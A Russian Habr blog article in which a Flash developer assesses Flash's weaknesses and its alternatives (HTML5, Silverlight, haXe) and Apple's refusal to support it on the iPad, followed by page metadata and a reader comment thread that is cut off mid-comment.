как Flash разработчик понимаю, что нужно отделить возможность смотреть видео от Flash плеера. Но Flash это хорошая платформа для написания казуальных игр и виджетов. Это хорошая платформа для написания онлайновых MMORPG, хотя пока с 3D у Flash не особо (разве что <a href="http://alternativaplatform.com/ru/">Alternativa Platform</a> немного вытягивает). К тому же есть приложения написанные хорошими AS3 программистами, но к сожалению их не так много.<br/> <br/> К тому же я надеюсь что бурное развитие html5 даст хороший пинок Adobe.<br/> <br/> <b><i>Так может гоу на Silverlight?</i></b><br/> <br/> Пока Silverlight проигрывает Flash по многим пунктам — поддержка на Linux (да, да я знаю про mono, но хочется официально), малая распространенность, к тому же сильная зависимость от продуктов Microsoft. Но поживем увидим, ни Adobe ни Microsoft на месте не стоят.<br/> <br/> Тут я бы скорее смотрел в сторону языка <a href="http://haxe.org/doc/intro">haxe</a>. У него много плюсов и возможность писать код который можно экспортировать для разных платформ, впечатляет (на данный момент это JS, Flash, NekoVM, PHP, C++, <a href="http://gamehaxe.com/2009/07/28/haxe-iphone-cpp-at-last/">iPhone</a>). К тому же компилятор haxe работает <a href="http://ncannasse.fr/blog/getting_some_numbers">в разы быстрее</a> компилятора flash/flex и поддерживает <a href="http://haxe.ru/taxonomy/term/139">те самые</a> недокументированные команды из Alchemy. Но пока у данного языка маленькое комьюнити, мало документации и примеров, хотя я надеюсь что стремительное развитие языка продолжится.<br/> <br/> <b><i>Значит Джобс был прав <a href="http://habrahabr.ru/blogs/apple/82828/">насчет Flash</a> на iPad?</i></b><br/> <br/> Ну я бы сказал, что он лукавил. Все таки пользователям наплевать, как работает технология. Если мне она не нужна, я просто не буду ее использовать. Если бы Flash плеер был на iPhone/iPod/iPad и он работал бы так же плохо как и на больших маках, пользователи бы им просто меньше пользовались. К тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений.<br/> <br/> Пока Flash плеер плохо работает на Mac есть причина по которой Apple может не пускать Flash плеер, но если в Adobe это исправят, возможно мы увидим Flash на экранах устройств от Apple.<br/> <br/> <a href="http://www.twitter.com/andy_one"><img src="https://habrastorage.org/r/w1560/storage1/7c539443/3470bef6/9fea0522/76028afa.png" data-src="https://habrastorage.org/storage1/7c539443/3470bef6/9fea0522/76028afa.png"/></a></div>
Andy One (SilenceAndy)
null
null
<img src="https://habrastorage.org/storage1/5c66acf4/83d5c7b3/afc206ed/dab0553d.jpg"/><br/> Последнее время, ходит очень много разговоров о html5, тэге видео и отсутствию Flash на iPad (это очень обидело flash разработчиков) и заявлению Стива Джобса в адрес Adobe. Было много разных мнений — кто-то считал, что это плохо, кто-то что хорошо. В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как.<br/> <br/>
Последнее время, ходит очень много разговоров о html5, тэге видео и отсутствию Flash на iPad (это очень обидело flash разработчиков) и заявлению Стива Джобса в адрес Adobe. Было много разных мнений — кто-то считал, что это плохо, кто-то что хорошо. В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как.
article
1,265,361,050
{ "commentsCount": 250, "favoritesCount": 63, "readingCount": 6735, "score": 169, "votesCount": 221, "votesCountPlus": 195, "votesCountMinus": 26 }
[]
[ "flash_platform" ]
[ "develop" ]
[ "flash", "flex", "flash player", "jobs", "ipad", "alchemy", "actionscript", "code monkey" ]
6
null
null
{ "id": [ 2475808, 2475813, 2475819, 2475822, 2475825, 2475836, 2475842, 2475853, 2475860, 2475896, 2475897, 2475898, 2475902, 2475903, 2475909, 2475912, 2475917, 2475919, 2475922, 2475925, 2475935, 2475954, 2475962, 2475963, 2475967, 2475969, 2475970, 2475978, 2475979, 2475980, 2475981, 2475987, 2475989, 2475992, 2475993, 2475995, 2475997, 2476006, 2476009, 2476010, 2476013, 2476020, 2476023, 2476024, 2476028, 2476030, 2476032, 2476035, 2476038, 2476040, 2476047, 2476050, 2476051, 2476059, 2476060, 2476066, 2476070, 2476073, 2476074, 2476083, 2476088, 2476097, 2476106, 2476112, 2476114, 2476117, 2476121, 2476127, 2476132, 2476136, 2476137, 2476140, 2476146, 2476153, 2476154, 2476155, 2476158, 2476159, 2476162, 2476164, 2476166, 2476179, 2476187, 2476194, 2476197, 2476199, 2476200, 2476210, 2476212, 2476213, 2476238, 2476242, 2476244, 2476246, 2476258, 2476263, 2476296, 2476320, 2476328, 2476333, 2476344, 2476349, 2476362, 2476364, 2476380, 2476390, 2476411, 2476418, 2476421, 2476422, 2476432, 2476455, 2476460, 2476463, 2476465, 2476467, 2476470, 2476473, 2476491, 2476505, 2476507, 2476510, 2476513, 2476514, 2476525, 2476533, 2476552, 2476567, 2476584, 2476590, 2476593, 2476601, 2476612, 2476648, 2476691, 2476701, 2476704, 2476735, 2476740, 2476773, 2476775, 2476789, 2476803, 2476810, 2476817, 2476826, 2476836, 2476858, 2476866, 2476874, 2476879, 2476882, 2476883, 2476886, 2476891, 2476901, 2476904, 2476930, 2476943, 2476946, 2476952, 2476955, 2476962, 2476972, 2476976, 2477000, 2477010, 2477011, 2477046, 2477051, 2477071, 2477079, 2477087, 2477092, 2477103, 2477110, 2477113, 2477204, 2477262, 2477303, 2477347, 2477356, 2477383, 2477404, 2477419, 2477422, 2477460, 2477463, 2477521, 2477661, 2477687, 2477756, 2477851, 2477864, 2477932, 2477956, 2477970, 2478141, 2478171, 2478245, 2478344, 2478395, 2478452, 2478476, 2478483, 2478489, 2478492, 2478497, 2478504, 2478508, 2478537, 2478540, 2478581, 2478739, 2478801, 2478832, 2478970, 2478975, 2478984, 2478997, 2479056, 2479123, 2479322, 2479340, 2479477, 2479479, 2479483, 2479485, 2479500, 2479503, 2479552, 2479612, 2479628, 2479660, 2479674, 2479763, 2479830, 2479895, 2479943, 2481029, 2481128, 2481221, 2481729, 2482293, 2482960, 2485172, 2497351, 2497411, 6511246, 6513032 ], "parent_id": [ null, 2475808, null, 2475819, null, 2475813, 2475825, 2475836, 2475822, 2475819, null, null, 2475822, null, 2475896, 2475902, 2475860, 2475909, null, 2475853, 2475898, null, 2475935, 2475853, null, 2475925, null, 2475898, 2475963, null, null, 2475969, null, null, 2475925, 2475979, 2475987, 2475995, 2475922, 2475997, 2475978, 2475922, 2476006, 2476010, 2476020, null, null, 2476023, 2476010, 2476032, 2475962, null, 2475903, null, null, 2476060, 2476066, 2476030, 2475903, 2476073, 2476035, 2476050, 2475989, 2476047, null, null, 2475836, 2475836, 2476070, 2476097, 2476097, 2476088, 2476112, 2476106, 2476114, null, 2475989, 2475853, null, 2476140, 2476132, 2476132, 2476158, null, 2476159, 2476146, 2476117, 2476199, 2476187, 2476194, 2476127, 2476187, 2476210, 2476238, 2475980, 2475993, 2476244, null, 2476059, null, 2476246, 2475995, 2476159, null, null, null, null, null, 2476344, 2476411, 2476136, 2476349, 2475992, 2476258, 2476158, 2476421, 2476422, 2476470, 2476460, 2476465, 2476467, null, 2476465, null, 2476455, 2476162, 2476507, 2476491, 2476514, 2476552, 2476533, 2476567, 2476470, 2476013, 2476155, 2476159, 2476612, 2476648, 2476704, 2476740, 2476701, 2476775, 2475922, 2476775, null, 2476584, 2476773, 2476826, 2476817, 2476866, 2476836, 2476879, 2476874, 2476882, 2476362, 2476883, 2476901, 2476886, 2476858, 2476891, 2476810, 2475935, 2476952, 2476930, null, 2476943, 2476946, null, 2477011, 2476735, 2476962, 2476514, 2477071, 2477079, 2477051, 2477000, 2477092, 2477087, 2476836, 2477204, 2477262, 2476590, 2475980, 2477347, 2476955, 2477110, null, 2476418, null, 2477521, 2476946, 2476513, 2477303, 2477661, 2477851, 2476328, null, 2476510, 2477970, null, null, null, 2477970, 2476590, 2478476, 2477422, 2477687, 2478483, 2478492, 2478492, 2478504, 2478508, null, null, null, 2475917, null, 2477970, 2475995, 2478975, 2478832, 2478581, 2477932, 2479322, 2478489, 2479340, 2476955, 2478970, 2479479, 2478970, 2477970, 2477103, 2479500, 2479628, 2479477, 2479660, 2479763, 2479830, 2479895, 2479943, 2481029, 2481128, 2479552, 2479612, 2481221, 2476432, 2476013, 2475970, 2476006, 6511246 ], "level": [ 0, 1, 0, 1, 0, 2, 1, 3, 2, 1, 0, 0, 2, 0, 2, 3, 3, 3, 0, 4, 1, 0, 2, 4, 0, 5, 0, 1, 5, 0, 0, 6, 0, 0, 5, 6, 7, 7, 1, 8, 2, 1, 8, 9, 2, 0, 0, 9, 9, 1, 3, 0, 1, 0, 0, 1, 2, 1, 1, 2, 10, 1, 1, 4, 0, 0, 3, 3, 3, 2, 2, 11, 5, 2, 1, 0, 1, 4, 0, 12, 4, 4, 2, 0, 5, 6, 1, 7, 3, 1, 4, 3, 8, 5, 1, 6, 9, 0, 1, 0, 6, 7, 5, 0, 0, 0, 0, 0, 7, 1, 3, 8, 1, 2, 2, 8, 2, 3, 2, 3, 9, 0, 3, 0, 9, 1, 10, 3, 1, 11, 2, 4, 3, 3, 1, 5, 4, 4, 5, 6, 6, 7, 1, 7, 0, 2, 7, 3, 1, 2, 8, 9, 3, 10, 6, 4, 5, 11, 4, 7, 8, 2, 9, 12, 0, 5, 8, 0, 1, 5, 10, 1, 11, 2, 6, 6, 3, 12, 8, 13, 9, 12, 1, 10, 3, 7, 0, 1, 0, 1, 8, 4, 14, 2, 15, 2, 0, 1, 1, 0, 0, 0, 1, 12, 13, 8, 9, 14, 10, 10, 11, 11, 0, 0, 0, 4, 0, 1, 7, 2, 5, 1, 16, 17, 9, 18, 3, 1, 19, 1, 1, 7, 20, 21, 10, 22, 23, 24, 25, 26, 27, 28, 2, 8, 29, 4, 3, 1, 8, 9 ], "time_published": [ 1265361902, 1265361971, 1265362043, 1265362104, 1265362147, 1265362338, 1265362448, 1265362586, 1265362769, 1265363258, 1265363283, 1265363305, 1265363339, 1265363344, 1265363394, 1265363431, 1265363452, 1265363482, 1265363494, 1265363533, 1265363630, 1265363842, 1265363913, 1265363920, 1265363959, 1265363974, 1265363988, 1265364060, 1265364064, 1265364080, 1265364107, 1265364149, 1265364186, 1265364221, 1265364236, 1265364241, 1265364280, 1265364471, 1265364491, 1265364494, 1265364538, 1265364645, 1265364661, 1265364672, 1265364743, 1265364806, 1265364820, 1265364883, 1265364914, 1265364935, 1265364990, 1265365065, 1265365077, 1265365183, 1265365185, 1265365279, 1265365350, 1265365368, 1265365368, 1265365487, 1265365544, 1265365648, 1265365696, 1265365792, 1265365807, 1265365850, 1265365904, 1265365999, 1265366074, 1265366146, 1265366164, 1265366175, 1265366270, 1265366358, 1265366367, 1265366368, 1265366435, 1265366520, 1265366566, 1265366602, 1265366608, 1265366690, 1265366787, 1265366862, 1265366942, 1265366962, 1265366976, 1265367172, 1265367227, 1265367228, 1265367577, 1265367622, 1265367639, 1265367673, 1265367837, 1265367884, 1265368317, 1265368586, 1265368712, 1265368740, 1265368888, 1265368947, 1265369069, 1265369100, 1265369250, 1265369359, 1265369665, 1265369748, 1265369794, 1265369800, 1265369940, 1265370247, 1265370273, 1265370288, 1265370323, 1265370370, 1265370400, 1265370416, 1265370621, 1265370899, 1265370933, 1265370986, 1265371022, 1265371023, 1265371218, 1265371336, 1265371594, 1265371831, 1265372193, 1265372269, 1265372301, 1265372547, 1265372748, 1265373164, 1265373782, 1265373913, 1265373991, 1265374204, 1265374234, 1265375446, 1265375484, 1265375656, 1265376136, 1265376220, 1265376566, 1265376978, 1265377087, 1265377485, 1265377612, 1265377781, 1265377872, 1265377908, 1265377908, 1265377969, 1265377999, 1265378152, 1265378179, 1265378414, 1265378715, 1265378797, 1265378894, 1265379002, 1265379172, 1265379305, 1265379347, 1265379677, 1265379839, 1265379854, 1265380522, 1265380565, 1265380932, 1265381005, 1265381156, 1265381208, 1265381403, 1265381489, 1265381549, 1265382904, 1265383860, 1265384501, 1265385370, 1265385489, 1265386039, 1265386536, 1265386884, 1265386948, 1265387926, 1265387993, 1265389322, 1265391947, 1265392361, 1265393420, 1265395305, 1265395534, 1265396880, 1265397622, 1265397950, 1265400476, 1265400913, 1265402240, 1265403685, 1265404505, 1265405405, 1265406139, 1265406214, 1265406322, 1265406427, 1265406498, 1265406699, 1265406728, 1265407559, 1265407628, 1265408820, 1265413626, 1265415650, 1265417498, 1265430851, 1265431655, 1265432659, 1265434602, 1265437986, 1265441387, 1265448217, 1265448853, 1265452288, 1265452320, 1265452392, 1265452405, 1265452689, 1265452832, 1265454190, 1265455528, 1265455907, 1265456498, 1265456863, 1265458898, 1265460313, 1265461876, 1265463157, 1265490042, 1265491639, 1265493602, 1265508368, 1265538782, 1265554037, 1265589700, 1265842182, 1265844329, 1374303040, 1374389845 ], "score": [ 0, -7, 2, 0, 0, 10, 1, 3, 0, 2, 0, 0, 0, 1, 1, 2, 1, 4, 0, 10, 0, 0, 0, 0, 0, -15, 2, 0, 6, 3, 7, 2, 7, 0, 2, 0, -4, 2, 2, -2, 0, 0, 3, 1, 1, 3, 1, 3, 5, 0, 0, -1, -12, 0, 3, 1, 0, -1, 0, 1, 0, 2, 0, 0, 0, 0, 0, 1, 1, -2, -2, 1, 4, 8, 1, 2, 0, 4, 0, 0, 0, 0, 0, 1, 4, 0, 5, 1, 1, 1, -2, 0, 0, -2, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, -2, 6, 0, 1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 3, 0, 2, 0, 0, 0, 0, 0, 0, 1, 5, 1, -2, 0, 0, 1, -1, 2, 1, 1, 1, 0, 2, 2, 2, 0, 0, 0, 0, 0, 1, -1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, -2, 2, 0, 2, 0, 1, 0, 0, 1, 0, 2, 0, -1, 2, 0, 1, 0, 0, 0, 2, 2, 1, 0, 0, -3, 3, 0, -3, 0, -3, 1, -1, 0, 1, 0, 0, 1, 0, 0, -2, 0, -1, -2, -1, -1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 2, 0, -2, 0, 0, 3, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0 ], "votes": [ 24, 39, 2, 0, 0, 24, 1, 17, 0, 2, 0, 0, 0, 1, 1, 2, 5, 4, 0, 22, 0, 6, 0, 0, 0, 31, 2, 0, 22, 5, 11, 4, 11, 0, 12, 0, 22, 10, 2, 18, 0, 0, 5, 5, 1, 5, 1, 5, 5, 0, 0, 3, 12, 0, 5, 3, 2, 1, 0, 1, 0, 8, 2, 0, 0, 2, 0, 1, 1, 2, 2, 7, 4, 8, 1, 4, 2, 12, 0, 0, 6, 2, 2, 3, 4, 2, 5, 1, 1, 1, 4, 0, 0, 2, 0, 2, 0, 2, 3, 1, 0, 2, 0, 2, 1, 5, 6, 6, 0, 3, 2, 0, 0, 0, 1, 0, 2, 0, 0, 0, 0, 0, 1, 7, 4, 2, 0, 0, 0, 0, 0, 0, 1, 5, 1, 4, 2, 0, 1, 1, 2, 3, 1, 7, 0, 2, 2, 2, 0, 0, 0, 0, 0, 1, 9, 0, 0, 0, 0, 3, 8, 2, 7, 0, 2, 0, 0, 6, 2, 0, 2, 2, 5, 0, 0, 1, 0, 2, 0, 9, 2, 0, 1, 0, 0, 0, 2, 2, 3, 0, 0, 3, 3, 0, 5, 0, 7, 1, 5, 0, 1, 0, 0, 1, 0, 0, 2, 0, 1, 2, 1, 1, 2, 0, 2, 0, 1, 0, 0, 0, 0, 2, 0, 2, 0, 0, 3, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">>малая распространенность<br/>\r\n, к тому же сильная зависимость от продуктов Microsoft</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>малая распространенность<br/>\r\nуже перевалило за 50%<br/>\r\n<br/>\r\n>к тому же сильная зависимость от продуктов Microsoft<br/>\r\nFlash, к тому же сильная зависимость от продуктов Adobe… какой скрытый подтекст вы тут пытались выразить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А наверное можно было бы сделать во flash-плеере шейпер на cpu — и пусть тормозные баннеры либо «медленно» показываются (frame-drop что ли), либо просто не показываются. Шейпер сделать настраиваемым.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а как тогда смотреть ролики с ютуба?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, очень интересная и познавательная статья получилась. <br/>\r\nА как вы считаете, что сейчас предпочтительнее начать учить flash или silverlight или что то другое?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я видел, график где было 50%, но пока в реальном мире я этого не вижу. Из 30 моих знакомых которые связанны с вэбом, silverlight стоит только у 4. Они .Net разработчики. <br/>\r\n<br/>\r\nСильная? Я могу скачать компилятор для AS3 и писать код в блокноте, а рисовать все в GIMP. Я могу так же работать с silverlight?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Учите всё, с вас не убудет. В принципе достаточно основ ООП, и оба языка дадутся достаточно просто. Взгляните на haxe, возможно он придется вам по душе.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пользователь поставит плагин, как только его об этом попросят, как и флеш, вы его ставите при первом запросе браузера. Просто сейчас еще не столь громадное количество сайтов работают на SL, следовательно ваши знакомые просто на них не попадали :)<br/>\r\n<br/>\r\n>могу скачать компилятор для AS3 и писать код в блокноте, а рисовать все в GIMP<br/>\r\nБез проблем, разметка вся, даже анимация хранятся в XAML виде, аналог MXML, код отдельно в .CS файлах, аналог .AS =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дать право пользователю самому решать, какие ролики и как шейпить. Аналог adblock, только более умный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В Qtшных браузерах сделали такую штуку Click-to flash, вместо ролика показывается кнопка, ролик показывается только по её нажатию</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо! Отличный материал. Даже не программеру более ли менее понятно что к чему и где мы все завтра будем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Странно, что Google Web Toolkit не попал в список альтернатив.<br/>\r\nКазалось бы, та же ЦА — RichInternetApplications, чуток лучше с производительностью, заметно лучше с кроссплатформенностью.<br/>\r\nНет поддержки video (на некоторых браузерах — есть, через canvas), зато назревает поддержка 3d.<br/>\r\n<br/>\r\nЧто про это думает симулякр Адама-и-Джейми, написавший обзор в посте?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">White list по доменам устроить… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Походу дела Adobe просто оказалась погребена под тяжестью своих ошибок и промахов во времена Macromedia. Может наконец стоит сломать совместимость со старым тормозным и кривым хламом и создать какой-нибудь flash-ng?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно! В gnash ведь так сделано!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">flash block как раз этим и занимается</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">flash block и ни каких костылей не требуется</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">flashblock делает так же</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо за статью, можете пояснить про загадочную ( для меня) конструкцию — DEBUG::ENABLED?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что вы, я всегда прежде чем что-то установить, я задрот в этом плане. Устройте опрос на хабре, если будет больше 50% я уберу текст про распространенность из статьи.<br/>\r\n<br/>\r\nЭм… Я тут скачал пример с silverlight.net. Вот его <a href=\"http://ftp.parcsis.org/andyone/ier.txt\">иерархия</a>. Вы реально думаете, что я смогу с ним работать без Visual Studio и Exspression Web?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">GWT мне нравится, но это же просто навороченный javascript.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">хорошо, что у меня нету флеша.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Внимание, вопрос:<br/>\r\nА что такого есть в flash, чего нет в gwt?<br/>\r\n<br/>\r\nЯ не очень хорош в flash, и наверное поэтому таких преимуществ я не встречал.<br/>\r\nСобственно, в данной нити я как раз и собираюсь их повыяснять.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Все верно, целиком поддерживаю!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Устройте опрос на хабре,<br/>\r\nЭто бессмысленно, в данном месте.<br/>\r\n<br/>\r\n>Вот его иерархия<br/>\r\nТут вы лукавите, во-первых видно, что вы взяли solution, который состоит из 3 проектов, проект использует MVC, что за собой уже ведет к обильному количеству файлов в любой технологии. Папки bin, debug, obj, генерируются компилятором. В результате если все это смотреть в исходно виде, то выходит:<br/>\r\n| MEF1.sln<br/>\r\n| ier.txt<br/>\r\n| <br/>\r\n+---MEF1<br/>\r\n| | App.xaml<br/>\r\n| | App.xaml.cs<br/>\r\n| | MainPage.xaml<br/>\r\n| | MainPage.xaml.cs<br/>\r\n| | MEF1.csproj<br/>\r\n| | MEF1.csproj.user<br/>\r\n| | <br/>\r\n| +---Assets<br/>\r\n| | | Styles.xaml<br/>\r\n| | | <br/>\r\n| | \\---Resources<br/>\r\n| | ApplicationStrings.Designer.cs<br/>\r\n| | ApplicationStrings.resx<br/>\r\n| | SecurityQuestions.Designer.cs<br/>\r\n| | SecurityQuestions.resx <br/>\r\n| +---Controls<br/>\r\n| | CustomDataForm.cs<br/>\r\n| | <br/>\r\n| +---Generated_Code<br/>\r\n| | | MEF1.Web.g.cs<br/>\r\n| | | <br/>\r\n| | \\---Models<br/>\r\n| | \\---Shared<br/>\r\n| | User.shared.cs<br/>\r\n| | <br/>\r\n| +---Helpers<br/>\r\n| | DataBindingExtensions.cs<br/>\r\n| | DataFieldExtensions.cs<br/>\r\n| | NotOperatorValueConverter.cs<br/>\r\n| | ResourceWrapper.cs<br/>\r\n| | StringFormatValueConverter.cs<br/>\r\n| | TargetNullValueConverter.cs<br/>\r\n| | <br/>\r\n| +---Libs<br/>\r\n| | ActivityControl.dll<br/>\r\n| | System.Windows.Controls.Data.DataForm.Toolkit.dll<br/>\r\n| | <br/>\r\n| +---Models<br/>\r\n| | LoginInfo.cs<br/>\r\n| | RegistrationDataExtensions.cs <br/>\r\n| +---Properties<br/>\r\n| | AppManifest.xml<br/>\r\n| | AssemblyInfo.cs<br/>\r\n| | OutOfBrowserSettings.xml<br/>\r\n| | <br/>\r\n| +---Views<br/>\r\n| | | About.xaml<br/>\r\n| | | About.xaml.cs<br/>\r\n| | | ErrorWindow.xaml<br/>\r\n| | | ErrorWindow.xaml.cs<br/>\r\n| | | Home.xaml<br/>\r\n| | | Home.xaml.cs<br/>\r\n| | | <br/>\r\n| | \\---Login<br/>\r\n| | LoginForm.xaml<br/>\r\n| | LoginForm.xaml.cs<br/>\r\n| | LoginRegistrationWindow.xaml<br/>\r\n| | LoginRegistrationWindow.xaml.cs<br/>\r\n| | LoginStatus.xaml<br/>\r\n| | LoginStatus.xaml.cs<br/>\r\n| | RegistrationForm.xaml<br/>\r\n| | RegistrationForm.xaml.cs<br/>\r\n| | <br/>\r\n| \\---Web<br/>\r\n| \\---Resources<br/>\r\n+---MEF1.Web<br/>\r\n| | Default.aspx<br/>\r\n| | Default.aspx.cs<br/>\r\n| | Default.aspx.designer.cs<br/>\r\n| | MEF1.Web.csproj<br/>\r\n| | MEF1.Web.csproj.user<br/>\r\n| | MEF1TestPage.aspx<br/>\r\n| | MEF1TestPage.html<br/>\r\n| | Silverlight.js<br/>\r\n| | Web.config<br/>\r\n| | <br/>\r\n| +---App_Data<br/>\r\n| +---ClientBin<br/>\r\n| | MEF1.xap<br/>\r\n| | <br/>\r\n| +---Models<br/>\r\n| | | RegistrationData.cs<br/>\r\n| | | User.cs<br/>\r\n| | | <br/>\r\n| | \\---Shared<br/>\r\n| | User.shared.cs<br/>\r\n| | <br/>\r\n| +---Properties<br/>\r\n| | AssemblyInfo.cs<br/>\r\n| | <br/>\r\n| +---Resources<br/>\r\n| | ClientCultureBasedResources.cs<br/>\r\n| | ErrorResources.Designer.cs<br/>\r\n| | ErrorResources.resx<br/>\r\n| | RegistrationDataResources.Designer.cs<br/>\r\n| | RegistrationDataResources.resx<br/>\r\n| | <br/>\r\n| \\---Services<br/>\r\n| AuthenticationService.cs<br/>\r\n| UserRegistrationService.cs<br/>\r\n| <br/>\r\n+---MEF1_Extensions<br/>\r\n| | MEF1_Extensions.csproj<br/>\r\n| | MEF1_Extensions.csproj.user<br/>\r\n| | NoteWriter.xaml<br/>\r\n| | NoteWriter.xaml.cs<br/>\r\n| | <br/>\r\n| \\---Properties<br/>\r\n| AssemblyInfo.cs<br/>\r\n| <br/>\r\n\\---MEF_Contracts<br/>\r\n | IPart.cs<br/>\r\n | MEF_Contracts.csproj<br/>\r\n | MEF_Contracts.csproj.user<br/>\r\n | <br/>\r\n \\---Properties<br/>\r\n AssemblyInfo.cs<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>К тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений</blockquote><br/>\r\n<br/>\r\nТак может именно в этом, и только в этом дело? Сомнительно, что Джобс настолько меценат (глуп), чтобы отдать такой кусок дохода.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">GWT крут, но это скорее не технология как Flash или html5, а инструментарий. При чем очень крутой, но он все-таки базируется на фичах html5. Там дела лучше потому, что приличную част работы делают ребята из webkit и mozilla. Нужно разработчиков Flash плеера отправить к ним учиться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Без обид, но «чья бы корова мычала», дыр во flash полным полно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, отличная статья!<br/>\r\nЯ не флеш программист, но в курсе различных проблем, и очень хотелось видеть такой обзор от спецов.<br/>\r\nСкажу, что лично мне не нравится во флеше как среде для RIA. По своей сути получается, что это браузер в браузере. А это ведет к двум проблемам: нам с одной стороны прихдится дублировать функциональность (как вы и написали), а с другой — как-то это связывать с самим браузером, чтобы реагировать на события, что-то отдавать туда и пр. Очень хорошо эти проблемы описаны у технологов САЛа. <br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хороший пост, только не надо быть программером на Флэш, чтобы ощутить все его негативное проявление. Жаль что не было конкурента у Флэша все это время, может в Адобе народ бы стал более качественно писать свой софт. Не дай Бог оставить включенный Макбук с какой-нибудь открытой флэш-старницей — он нагреется + еще и батарея сядет, если без адаптера :) В общем Стив прав насчет Адоба. <br/>\r\n<br/>\r\nНо ведь началось то с Макромедии все! <b>Макромедия виновата</b> в глючности и тормозах Флэша, а <b>Адоб виноват</b> в том, что не переделали все нормально :) А ведь могли, гады! С такими неадекватными ценами на Фотошоп можно и сотрудников нанять под это дело грамотных! В общем, жду смерти Флэша и появления нового чего-то :)<br/>\r\n<br/>\r\nP.S. И среда разработки у них уродская :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Это бессмысленно, в данном месте.<br/>\r\n<br/>\r\nВы думаете моими проектами пользуются какие-то <i>специальные</i> люди?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всегда хотелось услышать мнение из самой Flash-кухни, теперь всё ясно.<br/>\r\n<br/>\r\nМоя светлая мечта — чтобы Flash исчез из браузеров, как когда-то исчезли Java-аплеты.<br/>\r\nНе то, чтобы совсем исчез, но перешёл в какие-нибудь самостоятельные AIR-приложения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо!<br/>\r\n<br/>\r\nОстался еще один больной вопрос, когда уже будет полноценный релиз 64-битного Flash?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">главное в silverlight это учет запросов крупного бизнеса (RIA приложения)… если пойдет крупный бизнес, подтянутся и рядовые юзеры (кроме того, если у вас винда обновляется, то SL у вас уже стоит). А еще там можно использовать уже оттестированный код, используемый например, в настольных приложениях… Скоро (ждем sl4) можно будет полноценно ставить приложения на десктоп из браузера (сейчас можно, но нет поддержки DOM оснастки (проще говоря браузера))…<br/>\r\n<br/>\r\nВ общем использование SL на мой взгляд более предпочительно для крупной разработки, и главное преимущество — переносимость большинства кода из сервисов\\настольных приложений в SL БЕЗ изменений (я недавно делал SL морду к Win приложению, работающему через soap c сервисом, я даже не задумывался «как работают классы win приложения с soap» — экономия $ очевидна).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">% людей, который ненавидят MS в данном сообществе переваливает за 50%, любую технологию воспримут в штыки :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тут уже нужно пинать разработчиков браузеров, видео — html5 «спасет» нас. Сообщения между окнами, все это есть в SL. Через годика 3 уже и никто не будет думать, о вопросе ставить SL или нет. Да и в первую очередь SL предназначен для RIA, бизнеса и т.п. Не для простого пользователя в первую очередь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот <a href=\"http://help.adobe.com/en_US/Flash/10.0_UsingFlash/WS3e7c64e37a1d85e1e229110db38dec34-7fa4a.html#WS7D94A7C3-8F91-421a-936C-F076374C470F\">тут</a> можно почитать по подробнее на английском.<br/>\r\n<br/>\r\nВ данном случае я использую кастомный неймспейс DEBUG в качестве конфигурационной константы.<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/habr/comment_images/70d/ca1/241/70dca12411784621cbff9213ef5e2408.png\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/70d/ca1/241/70dca12411784621cbff9213ef5e2408.png\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">лучше спросить сколько из ненавистников 